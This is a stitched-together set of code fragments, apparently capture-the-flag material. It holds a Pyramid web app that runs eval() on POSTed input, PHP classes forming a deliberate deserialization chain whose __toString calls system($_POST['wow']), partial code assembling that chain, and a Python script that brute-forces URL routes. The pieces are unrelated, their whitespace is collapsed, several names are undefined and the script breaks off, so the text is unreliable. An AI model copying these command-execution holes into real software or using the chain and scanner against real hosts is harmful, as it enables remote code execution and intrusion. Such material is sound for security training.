from pyramid.config import Configurator from pyramid.request import Request from pyramid.response import Response from pyramid.view import view_config from wsgiref.simple_server import make_server from pyramid.events import NewResponse import re from jinja2 import Environment, BaseLoader
def home_view(request): expr_input = "" result = ""
if request.method == 'POST': expr_input = request.POST['expr'] if checkExpr(expr_input): try: result = eval(expr_input, eval_globals) except Exception as e: result = e else: result = "爬!"
if __name__ == '__main__': with Configurator() as config: config.add_route('home_view', '/') config.add_view(home_view, route_name='home_view') app = config.make_wsgi_app()
server = make_server('0.0.0.0', 9040, app) server.serve_forever()
classyesterday{ public$learn; public$study="study"; public$try; publicfunction__construct() { $this->learn = "learn<br>"; } publicfunction__destruct() { echo"You studied hard yesterday.<br>"; return$this->study->hard(); } } classtoday{ public$doing; public$did; public$done; publicfunction__construct(){ $this->did = "What you did makes you outstanding.<br>"; } publicfunction__call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo$this->done; if(md5(md5($this->doing))==666){ return$this->doing(); } else{ return$this->doing->better; } } } classtommoraw{ public$good; public$bad; public$soso; publicfunction__invoke(){ $this->good="You'll be good tommoraw!<br>"; echo$this->good; } publicfunction__get($arg1){ $this->bad="You'll be bad tommoraw!<br>"; }
} classfuture{ private$impossible="How can you get here?<br>"; private$out; private$no; public$useful1;public$useful2;public$useful3;public$useful4;public$useful5;public$useful6;public$useful7;public$useful8;public$useful9;public$useful10;public$useful11;public$useful12;public$useful13;public$useful14;public$useful15;public$useful16;public$useful17;public$useful18;public$useful19;public$useful20;
publicfunction__set($arg1, $arg2) { if ($this->out->useful7) { echo"Seven is my lucky number<br>"; system('whoami'); } } publicfunction__toString(){ echo"This is your future.<br>"; system($_POST["wow"]); return"win"; } publicfunction__destruct(){ $this->no = "no"; return$this->no; } } $evil = newyesterday(); $evil -> study = newtoday(); $evil -> study -> doing = newfuture();
def generate_routes(): """生成所有4位小写字母的组合""" return [''.join(chars) for chars in itertools.product(string.ascii_lowercase, repeat=4)]
def scan_routes(base_url, routes, timeout=5, delay=0.1): """扫描路由并检查状态码,找到第一个有效路由后停止""" for index, route in enumerate(routes): url = f"{base_url}/{route}" try: response = requests.get(url, timeout=timeout, verify=False) if response.status_code == 200: print(f"[+] Found valid route: {url}") return url # 找到第一个有效路由后返回 else: print(f"[-] Route not found: {url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {e}") except KeyboardInterrupt: print("\n[!] Scan interrupted by user.") return None
# 显示进度 if (index + 1) % 100 == 0: print(f"\n[INFO] Scanned {index + 1}/{len(routes)} routes so far...")
# 添加延迟以避免被封禁 time.sleep(delay)
return None # 扫描完成但未找到有效路由
def main(): # 警告信息 print("\n" + "=" * 50) print("WARNING: This script should only be used on websites you own or have explicit permission to test.") print("Unauthorized scanning is illegal and unethical.") print("=" * 50 + "\n")
target_url = input("Enter the base URL (e.g., http://example.com): ")
confirm = input("\nDo you confirm you have permission to scan this website? (yes/no): ") if confirm.lower() != "yes": print("Scan aborted.") return
# 生成路由组合 routes = generate_routes() print(f"\nGenerated {len(routes)} routes to scan...")